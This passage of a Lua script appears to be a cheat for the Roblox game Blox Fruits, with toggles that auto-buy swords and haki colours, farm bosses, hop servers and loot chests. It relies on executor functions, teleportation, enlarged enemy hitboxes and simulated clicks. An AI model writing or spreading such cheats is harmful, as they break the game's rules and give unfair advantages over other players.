iain:Toggle("Auto Buy Legendary Sword ",_G.Setting_table.Auto_Buy_Legendary_Sword,function(vu)
	_G.Setting_table.Auto_Buy_Legendary_Sword = vu

	Update_Setting(getgenv()['MyName'])
	
end)


iain:Toggle("Auto Buy Legendary Sword Hop",_G.Setting_table.Auto_Buy_Legendary_Sword_Hop,function(vu)
	_G.Setting_table.Auto_Buy_Legendary_Sword = vu
	_G.Setting_table.Auto_Buy_Legendary_Sword_Hop = vu
	Update_Setting(getgenv()['MyName'])
	if vu then
		wait(15)
		HopServer()
		wait(50)
	end
end)

spawn(function()
    while wait(.1) do
        pcall(function()
            if _G.Setting_table.Auto_Buy_Legendary_Sword or Triple_A then
                local args = {
                    [1] = "LegendarySwordDealer",
                    [2] = "2"
                }
                -- Triple_A
                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
            else
				wait(2)
			end
        end)
    end
end)
       _G.Setting_table.Weapon = "True Triple Katana"
					Auto_Farm_Sword = true
function Dis()
    if New_World then
        repeat wait(.2)
			Mix_Farm = true
            TP(CFrame.new(121.6969223022461, 18.738399505615234, 2850.1474609375))
        until (Vector3.new(121.6969223022461, 18.738399505615234, 2850.1474609375)-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 2
		wait(1)
		for i2,v2 in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do  
			if tostring(v2.ToolTip) == "Melee" then
				EquipWeapon(v2.Name)
			end
		end
		wait(1)
        for i2,v2 in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do  
            if tostring(v2.ToolTip) == "Sword" then
                local args = {
                    [1] = "StoreItem",
                    [2] = v2.Name
                }
                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
            end
        end
		wait(1)
		Mix_Farm = nil
    elseif Three_World then
        repeat wait(.2)
			Mix_Farm = true
            TP(CFrame.new(-220.47975158691406, 5.787993431091309, 5324.3720703125))
        until (Vector3.new(-220.47975158691406, 5.787993431091309, 5324.3720703125)-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 2
        wait(1)
		for i2,v2 in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do  
			if tostring(v2.ToolTip) == "Melee" then
				EquipWeapon(v2.Name)
			end
		end
		wait(1)
        for i2,v2 in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do  
            if tostring(v2.ToolTip) == "Sword" then
                local args = {
                    [1] = "StoreItem",
                    [2] = v2.Name
                }
                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
            end
        end
		wait(1)
		Mix_Farm = nil
    end
end
function Load(vu)
    if New_World then
        repeat wait(.2)
			Mix_Farm = true
            TP(CFrame.new(121.6969223022461, 18.738399505615234, 2850.1474609375))
        until (Vector3.new(121.6969223022461, 18.738399505615234, 2850.1474609375)-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 2
		wait(1)
        local args = {
            [1] = "LoadItem",
            [2] = tostring(vu)
        }
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
		wait(2)
		Mix_Farm = nil
    elseif Three_World then
        repeat wait(.2)
			Mix_Farm = true
            TP(CFrame.new(-220.47975158691406, 5.787993431091309, 5324.3720703125))
        until (Vector3.new(-220.47975158691406, 5.787993431091309, 5324.3720703125)-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 2
		wait(1)
        local args = {
            [1] = "LoadItem",
            [2] = tostring(vu)
        }
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
		wait(2)
		Mix_Farm = nil
    end
end
local I_W = game:GetService("ReplicatedStorage").Remotes["CommF_"]:InvokeServer("getInventoryWeapons")

for i,x in pairs(I_W) do
    v = {
        Name = x["Name"]
    }
	if v.Name == "Shisui" then
		_G.Setting_table.Shisui = true
	end
	if v.Name == "Wando" then
		_G.Setting_table.Wando = true
	end
		if v.Name == "Saddi" then
		_G.Setting_table.Saddi = true
	end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
	if v:IsA("Tool") then
		if v.Name == "Shisui" then
			_G.Setting_table.Shisui = true
		end
		if v.Name == "Wando" then
			_G.Setting_table.Wando = true
		end
			if v.Name == "Saddi" then
			_G.Setting_table.Saddi = true
		end
	end
end
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
	if v:IsA("Tool") then
		if v.Name == "Shisui" then
			_G.Setting_table.Shisui = true
		end
		if v.Name == "Wando" then
			_G.Setting_table.Wando = true
		end
			if v.Name == "Saddi" then
			_G.Setting_table.Saddi = true
		end
	end
end
spawn(function()
    while wait(.1) do
        pcall(function()
            if Triple_A then
                local args = {
                    [1] = "LegendarySwordDealer",
                    [2] = "2"
                }
                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
            end
        end)
    end
end)
spawn(function()
    while wait(.3) do
        pcall(function()
            if Triple_A then
                if game.Players.LocalPlayer.Backpack:FindFirstChild("True Triple Katana") or game.Players.LocalPlayer.Character:FindFirstChild("True Triple Katana") then
                    _G.Setting_table.Weapon = "True Triple Katana"
					Auto_Farm_Sword = true
                elseif _G.Setting_table.Shisui_H and _G.Setting_table.Wando_H and _G.Setting_table.Saddi_H then
                    local Beli = game:GetService("Players").LocalPlayer.Data.Beli.Value
                    if Beli >= 3000000 then
                        pcall(function()
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("MysteriousMan","1")
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("MysteriousMan","2")
                        end)
                    else
                        Auto_Farm_Sword = true
                    end
                elseif _G.Setting_table.Shisui and not _G.Setting_table.Shisui_H then
                    if game.Players.LocalPlayer.Backpack:FindFirstChild("Shisui") or game.Players.LocalPlayer.Character:FindFirstChild("Shisui") then
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Shisui") and game.Players.LocalPlayer.Backpack:FindFirstChild("Shisui").Level.Value >= 300 then
                            _G.Setting_table.Weapon = "Shisui"
                            _G.Setting_table.Shisui_H = true
                            Update_Setting(getgenv()['MyName'])
                        elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Shisui") and game.Players.LocalPlayer.Backpack:FindFirstChild("Shisui").Level.Value < 300 then
                            _G.Setting_table.Weapon = "Shisui"
							Auto_Farm_Sword = true
                        end
						if game.Players.LocalPlayer.Character:FindFirstChild("Shisui") and game.Players.LocalPlayer.Character:FindFirstChild("Shisui").Level.Value >= 300 then
                            _G.Setting_table.Weapon = "Shisui"
                            _G.Setting_table.Shisui_H = true
                            Update_Setting(getgenv()['MyName'])
                        elseif game.Players.LocalPlayer.Character:FindFirstChild("Shisui") and game.Players.LocalPlayer.Character:FindFirstChild("Shisui").Level.Value < 300 then
                            _G.Setting_table.Weapon = "Shisui"
							Auto_Farm_Sword = true
                        end
                    else
						wait(5)
						if game.Players.LocalPlayer.Backpack:FindFirstChild("Shisui") or game.Players.LocalPlayer.Character:FindFirstChild("Shisui") then
						else
							Dis()
							Load("Shisui")
						end
                    end
                elseif _G.Setting_table.Wando and not _G.Setting_table.Wando_H then
                    if game.Players.LocalPlayer.Backpack:FindFirstChild("Wando") or game.Players.LocalPlayer.Character:FindFirstChild("Wando") then
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Wando") and game.Players.LocalPlayer.Backpack:FindFirstChild("Wando").Level.Value >= 300 then
                            _G.Setting_table.Weapon = "Wando"
                            _G.Setting_table.Wando_H = true
                            Update_Setting(getgenv()['MyName'])
                        elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Wando") and game.Players.LocalPlayer.Backpack:FindFirstChild("Wando").Level.Value < 300 then
                            _G.Setting_table.Weapon = "Wando"
							Auto_Farm_Sword = true
                        end
						if game.Players.LocalPlayer.Character:FindFirstChild("Wando") and game.Players.LocalPlayer.Character:FindFirstChild("Wando").Level.Value >= 300 then
                            _G.Setting_table.Weapon = "Wando"
                            _G.Setting_table.Wando_H = true
                            Update_Setting(getgenv()['MyName'])
                        elseif game.Players.LocalPlayer.Character:FindFirstChild("Wando") and game.Players.LocalPlayer.Character:FindFirstChild("Wando").Level.Value < 300 then
                            _G.Setting_table.Weapon = "Wando"
							Auto_Farm_Sword = true
                        end
                    else
						wait(5)
						if game.Players.LocalPlayer.Backpack:FindFirstChild("Wando") or game.Players.LocalPlayer.Character:FindFirstChild("Wando") then
						else
							Dis()
							Load("Wando")
						end
                    end
                elseif _G.Setting_table.Saddi and not _G.Setting_table.Saddi_H then
                    if game.Players.LocalPlayer.Backpack:FindFirstChild("Saddi") or game.Players.LocalPlayer.Character:FindFirstChild("Saddi") then
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Saddi") and game.Players.LocalPlayer.Backpack:FindFirstChild("Saddi").Level.Value >= 300 then
                            _G.Setting_table.Weapon = "Saddi"
                            _G.Setting_table.Saddi_H = true
                            Update_Setting(getgenv()['MyName'])
                        elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Saddi") and game.Players.LocalPlayer.Backpack:FindFirstChild("Saddi").Level.Value < 300 then
                            _G.Setting_table.Weapon = "Saddi"
							Auto_Farm_Sword = true
                        end
						if game.Players.LocalPlayer.Character:FindFirstChild("Saddi") and game.Players.LocalPlayer.Character:FindFirstChild("Saddi").Level.Value >= 300 then
                            _G.Setting_table.Weapon = "Saddi"
                            _G.Setting_table.Saddi_H = true
                            Update_Setting(getgenv()['MyName'])
                        elseif game.Players.LocalPlayer.Character:FindFirstChild("Saddi") and game.Players.LocalPlayer.Character:FindFirstChild("Saddi").Level.Value < 300 then
                            _G.Setting_table.Weapon = "Saddi"
							Auto_Farm_Sword = true
                        end
                    else
						wait(5)
						if game.Players.LocalPlayer.Backpack:FindFirstChild("Saddi") or game.Players.LocalPlayer.Character:FindFirstChild("Saddi") then
						else
							Dis()
							Load("Saddi")
						end
                    end
					  elseif _G.Setting_table.Triple_Hop then
					local Beli = game:GetService("Players").LocalPlayer.Data.Beli.Value
					if Beli < 2000000 then
						Text("You need more money for this function")
						Auto_Farm_Sword = true
						wait(10)
					else
						Text("Looking for a sword")
						wait(10)
						HopServer()
						wait(50)
					end
				else
					Text("Waiting for the sword to be born")
					Auto_Farm_Sword = true
					wait(10)
                end
            end
        end)
    end
end)

    iain:Toggle("Auto True Triple Katana",_G.Setting_table.Triple_A,function(vu)
       Auto_Farm_Sword = vu
	Triple_A = vu
	_G.Setting_table.Triple_A = vu
	Update_Setting(getgenv()['MyName'])
    end)

	   iain:Toggle("Auto True Triple Katana Hop",_G.Setting_table.Triple_Hop,function(vu)
	Triple_A = vu
	Auto_Farm_Sword = vu
	_G.Setting_table.Triple_Hop = vu
    end)
    
   --[[ spawn(function()

        while wait() do
            if _G.AutoBuyLegendarySword then
                pcall(function()
                    local args = {
                        [1] = "LegendarySwordDealer",
                        [2] = "1"
                    }
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
                    local args = {
                        [1] = "LegendarySwordDealer",
                        [2] = "2"
                    }
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
                    local args = {
                        [1] = "LegendarySwordDealer",
                        [2] = "3"
                    }
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
                    if _G.AutoBuyLegendarySword_Hop and _G.AutoBuyLegendarySword and World2 then
                        wait(10)
                        Hop()
                    end
                end)
            end 
        end
    end)
    ]]

    iain:Seperator("Haki Color")
    
    iain:Toggle("Auto Buy Haki Color",_G.AutoBuyEnchancementColour,function(value)
        _G.AutoBuyEnchancementColour = value
    end)
    
    iain:Toggle("Auto Haki Color Hop",_G.AutoBuyEnchancementColour_Hop,function(value)
        _G.AutoBuyEnchancementColour_Hop = value
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoBuyEnchancementColour then
                local args = {
                    [1] = "ColorsDealer",
                    [2] = "2"
                }
                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
                if _G.AutoBuyEnchancementColour_Hop and _G.AutoBuyEnchancementColour and not World1 then
                    wait(10)
                    Hop()
                end
            end 
        end
    end)

	    iain:Seperator("Dark Coat (Premium Only)")

		
--[[
    
	    iain:Toggle("Auto Dark Coat",_G.Setting_table.Auto_Dark_Coat,function(vu)
   	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")

else
     Auto_Dark_Coat = vu
	_G.Setting_table.Auto_Dark_Coat = vu
	Update_Setting(getgenv()['MyName'])
	StopTween(Auto_Dark_Coat)
	   end
    end)
		    iain:Toggle("Auto Dark Coat Hop",_G.Setting_table.Auto_Dark_Coat,function(vu)
   Auto_Dark_Coat = vu
	_G.Setting_table.Auto_Dark_Coat_Hop = vu
	Update_Setting(getgenv()['MyName'])
	StopTween(Auto_Dark_Coat)
    end)

	if _G.Setting_table.Chest_Lock == nil then
	_G.Setting_table.Chest_Lock = 50
end

C_H_H = 0

local L_C = iain:Label("Chest : "..C_H_H.."/".._G.Setting_table.Chest_Lock)
if _G.Setting_table.Auto_Dark_Coat then
	Auto_Dark_Coat = true
end
spawn(function()
	while wait(2) do
		pcall(function()
			if _G.Setting_table.Auto_Dark_Coat_Hop then
				if C_H_H >= _G.Setting_table.Chest_Lock and not H_F_T then
					HopServer()
					wait(50)
				end
			end
		end)
	end
end)
    iain:Slider("Chest Lock",1,100,_G.Setting_table.Chest_Lock,function(vu)
      	_G.Setting_table.Chest_Lock = vu
	Update_Setting(getgenv()['MyName'])
    end)

]]
spawn(function()
	while wait(.5) do
		pcall(function()
			if Auto_Dark_Coat then
				if game.Workspace.Enemies:FindFirstChild("Darkbeard [Lv. 1000] [Raid Boss]") or game.ReplicatedStorage:FindFirstChild("Darkbeard [Lv. 1000] [Raid Boss]") then
					H_F_T = true
					if game.Workspace.Enemies:FindFirstChild("Darkbeard [Lv. 1000] [Raid Boss]") then
                        for i,v in pairs(game.Workspace.Enemies:GetChildren()) do
                            if v.Name == "Darkbeard [Lv. 1000] [Raid Boss]" and v.Humanoid.Health > 0 then
                                repeat wait(_G.Fast_Delay)
                                    EquipWeapon(_G.Setting_table.Weapon)
                                    TP(v.HumanoidRootPart.CFrame*CFrame.new(0,30,0))
                                    AttackNoCD()
                                until v.Humanoid.Health <= 0 or not v.Parent or not Auto_Dark_Coat
								H_F_T = nil
								if _G.Setting_table.Auto_Dark_Coat_Hop then
									HopServer()
									wait(50)
								end
							end
                        end
                    elseif game.ReplicatedStorage:FindFirstChild("Darkbeard [Lv. 1000] [Raid Boss]") then
                        TP(game.ReplicatedStorage:FindFirstChild("Darkbeard [Lv. 1000] [Raid Boss]").HumanoidRootPart.CFrame*CFrame.new(0,30,0))
                    end
				elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Fist of Darkness") or game.Players.LocalPlayer.Character:FindFirstChild("Fist of Darkness") then
					H_F_T = true
					repeat wait(.5)
                        EquipWeapon("Fist of Darkness")
                        TP(CFrame.new(3778.0603, 15.0511189, -3499.95801, -0.0148028014, 1.28971422e-07, -0.999890447, 3.63752335e-08, 1, 1.28447041e-07, 0.999890447, -3.44698741e-08, -0.0148028014))
                    until game.Workspace.Enemies:FindFirstChild("Darkbeard [Lv. 1000] [Raid Boss]") or game.ReplicatedStorage:FindFirstChild("Darkbeard [Lv. 1000] [Raid Boss]") or not Auto_Dark_Coat
				else
					
					H_F_T = nil
					_G.Chest_100 = nil
						_G.Chest_500 = nil
						_G.Chest_1000 = nil
						_G.Chest_1500 = nil
						_G.Chest_2000 = nil
						_G.Chest_2500 = nil
						_G.Chest_3500 = nil
						_G.Chest_4500 = nil
						_G.Chest_5500 = nil
						_G.Chest_6500 = nil
						_G.Chest_7500 = nil
						_G.Chest_9500 = nil
						_G.Chest_10500 = nil
						_G.Chest_12500 = nil
						_G.Chest_15500 = nil
						_G.Chest_17500 = nil
						Chest_100()
						Chest_500()
						Chest_1000()
						Chest_1500()
						Chest_2000()
						Chest_2500()
						Chest_3500()
						Chest_4500()
						Chest_5500()
						Chest_6500()
						Chest_7500()
						Chest_9500()
						Chest_10500()
						Chest_12500()
						Chest_15500()
						Chest_17500()
						if _G.Chest_100 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_100.CFrame)
							until not _G.Chest_100.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_500.CFrame)
							until not _G.Chest_500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_1000 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_1000.CFrame)
							until not _G.Chest_1000.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_1500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_1500.CFrame)
							until not _G.Chest_1500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_2000 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_2000.CFrame)
							until not _G.Chest_2000.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_2500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_2500.CFrame)
							until not _G.Chest_2500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_3500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_3500.CFrame)
							until not _G.Chest_3500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_4500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_4500.CFrame)
							until not _G.Chest_4500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_5500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_5500.CFrame)
							until not _G.Chest_5500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_6500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_6500.CFrame)
							until not _G.Chest_6500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_7500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_7500.CFrame)
							until not _G.Chest_7500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_9500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_9500.CFrame)
							until not _G.Chest_9500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_10500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_10500.CFrame)
							until not _G.Chest_10500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_12500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_12500.CFrame)
							until not _G.Chest_12500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_15500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_15500.CFrame)
							until not _G.Chest_15500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						elseif _G.Chest_17500 ~= nil then
							repeat wait(.3)
								TP(_G.Chest_17500.CFrame)
							until not _G.Chest_17500.Parent or not Auto_Dark_Coat
							if Auto_Dark_Coat then
								C_H_H = C_H_H + 1
								L_C:Set('Chest : '..tostring(C_H_H).."/".._G.Setting_table.Chest_Lock)
							end
						end
				end
			else
				wait(2)
			end
		end)
	end
end)

    iain:Seperator("Others")
    
    iain:Toggle("Auto Musketeer Hat",_G.AutoMusketeerHat,function(value)
        _G.AutoMusketeerHat = value
        StopTween(_G.AutoMusketeerHat)
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.AutoMusketeerHat then
                    if game:GetService("Players").LocalPlayer.Data.Level.Value >= 1800 and game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CitizenQuestProgress").KilledBandits == false then
                        if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Forest Pirate") and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "50") and game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then
                            if game:GetService("Workspace").Enemies:FindFirstChild("Forest Pirate [Lv. 1825]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Forest Pirate [Lv. 1825]" then
                                        repeat task.wait()
                                            pcall(function()
                                                EquipWeapon(_G.SelectWeapon)
                                                AutoHaki()
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                v.HumanoidRootPart.CanCollide = false
                                                game:GetService'VirtualUser':CaptureController()
                                                game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                                MusketeerHatMon = v.HumanoidRootPart.CFrame
                                                StartMagnetMusketeerhat = true
                                            end)
                                        until _G.AutoMusketeerHat == false or not v.Parent or v.Humanoid.Health <= 0 or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                        StartMagnetMusketeerhat = false
                                    end
                                end
                            else
                                StartMagnetMusketeerhat = false
                                topos(CFrame.new(-13206.452148438, 425.89199829102, -7964.5537109375))
                            end
                        else
                            topos(CFrame.new(-12443.8671875, 332.40396118164, -7675.4892578125))
                            if (Vector3.new(-12443.8671875, 332.40396118164, -7675.4892578125) - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 30 then
                                wait(1.5)
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("StartQuest","CitizenQuest",1)
                            end
                        end
                    elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 1800 and game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CitizenQuestProgress").KilledBoss == false then
                        if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Captain Elephant") and game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then
                            if game:GetService("Workspace").Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Captain Elephant [Lv. 1875] [Boss]" then
                                        OldCFrameElephant = v.HumanoidRootPart.CFrame
                                        repeat task.wait()
                                            pcall(function()
                                                EquipWeapon(_G.SelectWeapon)
                                                AutoHaki()
                                                v.HumanoidRootPart.CanCollide = false
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                v.HumanoidRootPart.CanCollide = false
                                                v.HumanoidRootPart.CFrame = OldCFrameElephant
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672))
                                                sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                            end)
                                        until _G.AutoMusketeerHat == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                    end
                                end
                            else
                                topos(CFrame.new(-13374.889648438, 421.27752685547, -8225.208984375))
                            end
                        else
                            topos(CFrame.new(-12443.8671875, 332.40396118164, -7675.4892578125))
                            if (CFrame.new(-12443.8671875, 332.40396118164, -7675.4892578125).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4 then
                                wait(1.5)
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CitizenQuestProgress","Citizen")
                            end
                        end
                    elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 1800 and game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CitizenQuestProgress","Citizen") == 2 then
                        topos(CFrame.new(-12512.138671875, 340.39279174805, -9872.8203125))
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto Rainbow Haki",_G.Auto_Rainbow_Haki,function(value)
        _G.Auto_Rainbow_Haki = value
        StopTween(_G.Auto_Rainbow_Haki)
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.Auto_Rainbow_Haki then
                    if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then
                        topos(CFrame.new(-11892.0703125, 930.57672119141, -8760.1591796875))
                        if (Vector3.new(-11892.0703125, 930.57672119141, -8760.1591796875) - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 30 then
                            wait(1.5)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("HornedMan","Bet")
                        end
                    elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Stone") then
                        if game:GetService("Workspace").Enemies:FindFirstChild("Stone [Lv. 1550] [Boss]") then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v.Name == "Stone [Lv. 1550] [Boss]" then
                                    OldCFrameRainbow = v.HumanoidRootPart.CFrame
                                    repeat task.wait()
                                        EquipWeapon(_G.SelectWeapon)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.CFrame = OldCFrameRainbow
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    until _G.Auto_Rainbow_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                end
                            end
                        else
                            topos(CFrame.new(-1086.11621, 38.8425903, 6768.71436, 0.0231462717, -0.592676699, 0.805107772, 2.03251839e-05, 0.805323839, 0.592835128, -0.999732077, -0.0137055516, 0.0186523199))
                        end
                    elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Island Empress") then
                        if game:GetService("Workspace").Enemies:FindFirstChild("Island Empress [Lv. 1675] [Boss]") then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v.Name == "Island Empress [Lv. 1675] [Boss]" then
                                    OldCFrameRainbow = v.HumanoidRootPart.CFrame
                                    repeat task.wait()
                                        EquipWeapon(_G.SelectWeapon)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.CFrame = OldCFrameRainbow
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 672))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    until _G.Auto_Rainbow_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                end
                            end
                        else
                            topos(CFrame.new(5713.98877, 601.922974, 202.751251, -0.101080291, -0, -0.994878292, -0, 1, -0, 0.994878292, 0, -0.101080291))
                        end
                    elseif string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Kilo Admiral") then
                        if game:GetService("Workspace").Enemies:FindFirstChild("Kilo Admiral [Lv. 1750] [Boss]") then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v.Name == "Kilo Admiral [Lv. 1750] [Boss]" then
